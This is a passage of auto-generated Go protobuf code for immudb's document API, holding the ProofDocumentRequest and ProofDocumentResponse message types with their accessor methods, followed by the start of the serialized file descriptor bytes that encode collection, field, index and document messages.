protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields CollectionName string `protobuf:"bytes,1,opt,name=collectionName,proto3" json:"collectionName,omitempty"` DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` TransactionId uint64 `protobuf:"varint,3,opt,name=transactionId,proto3" json:"transactionId,omitempty"` ProofSinceTransactionId uint64 `protobuf:"varint,4,opt,name=proofSinceTransactionId,proto3" json:"proofSinceTransactionId,omitempty"` } func (x *ProofDocumentRequest) Reset() { *x = ProofDocumentRequest{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ProofDocumentRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ProofDocumentRequest) ProtoMessage() {} func (x *ProofDocumentRequest) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ProofDocumentRequest.ProtoReflect.Descriptor instead. func (*ProofDocumentRequest) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{39} } func (x *ProofDocumentRequest) GetCollectionName() string { if x != nil { return x.CollectionName } return "" } func (x *ProofDocumentRequest) GetDocumentId() string { if x != nil { return x.DocumentId } return "" } func (x *ProofDocumentRequest) GetTransactionId() uint64 { if x != nil { return x.TransactionId } return 0 } func (x *ProofDocumentRequest) GetProofSinceTransactionId() uint64 { if x != nil { return x.ProofSinceTransactionId } return 0 } type ProofDocumentResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` CollectionId uint32 `protobuf:"varint,2,opt,name=collectionId,proto3" json:"collectionId,omitempty"` DocumentIdFieldName string `protobuf:"bytes,3,opt,name=documentIdFieldName,proto3" json:"documentIdFieldName,omitempty"` EncodedDocument []byte `protobuf:"bytes,4,opt,name=encodedDocument,proto3" json:"encodedDocument,omitempty"` VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,5,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` } func (x *ProofDocumentResponse) Reset() { *x = ProofDocumentResponse{} if protoimpl.UnsafeEnabled { mi := &file_documents_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ProofDocumentResponse) String() string { return protoimpl.X.MessageStringOf(x) } func (*ProofDocumentResponse) ProtoMessage() {} func (x *ProofDocumentResponse) ProtoReflect() protoreflect.Message { mi := &file_documents_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ProofDocumentResponse.ProtoReflect.Descriptor instead. func (*ProofDocumentResponse) Descriptor() ([]byte, []int) { return file_documents_proto_rawDescGZIP(), []int{40} } func (x *ProofDocumentResponse) GetDatabase() string { if x != nil { return x.Database } return "" } func (x *ProofDocumentResponse) GetCollectionId() uint32 { if x != nil { return x.CollectionId } return 0 } func (x *ProofDocumentResponse) GetDocumentIdFieldName() string { if x != nil { return x.DocumentIdFieldName } return "" } func (x *ProofDocumentResponse) GetEncodedDocument() []byte { if x != nil { return x.EncodedDocument } return nil } func (x *ProofDocumentResponse) GetVerifiableTx() *schema.VerifiableTxV2 { if x != nil { return x.VerifiableTx } return nil } var File_documents_proto protoreflect.FileDescriptor var file_documents_proto_rawDesc = []byte{ 0x0a, 0x0f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x0c, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xdf, 0x01, 0x0a, 0x17, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x5d, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x3a, 0x13, 0x92, 0x41, 0x10, 0x0a, 0x0e, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x56, 0x0a, 0x05, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, 0x19, 0x92, 0x41, 0x16, 0x0a, 0x14, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0xd2, 0x01, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x38, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x65, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x12, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe5, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x3a, 0x35, 0x92, 0x41, 0x32, 0x0a, 0x30, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0xd2, 0x01, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x69, 0x0a, 0x16, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x13, 0x92, 0x41, 0x10, 0x0a, 0x0e, 0xd2, 0x01, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x3b, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x83, 0x01, 0x0a, 0x17, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x84, 0x01, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x29, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x3a, 0x1e, 0x92, 0x41, 0x1b, 0x0a, 0x19, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x22, 0x12, 0x0a, 0x10, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7e, 0x0a, 0x12, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x09, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9c, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, 0x2a, 0x92, 0x41, 0x27, 0x0a, 0x25, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0xd2, 0x01, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x75, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x3a, 0x1f, 0x92, 0x41, 0x1c, 0x0a, 0x1a, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x22, 0x15, 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x17, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x3a, 0x23, 0x92, 0x41, 0x20, 0x0a, 0x1e, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x3a, 0x18, 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x6d, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 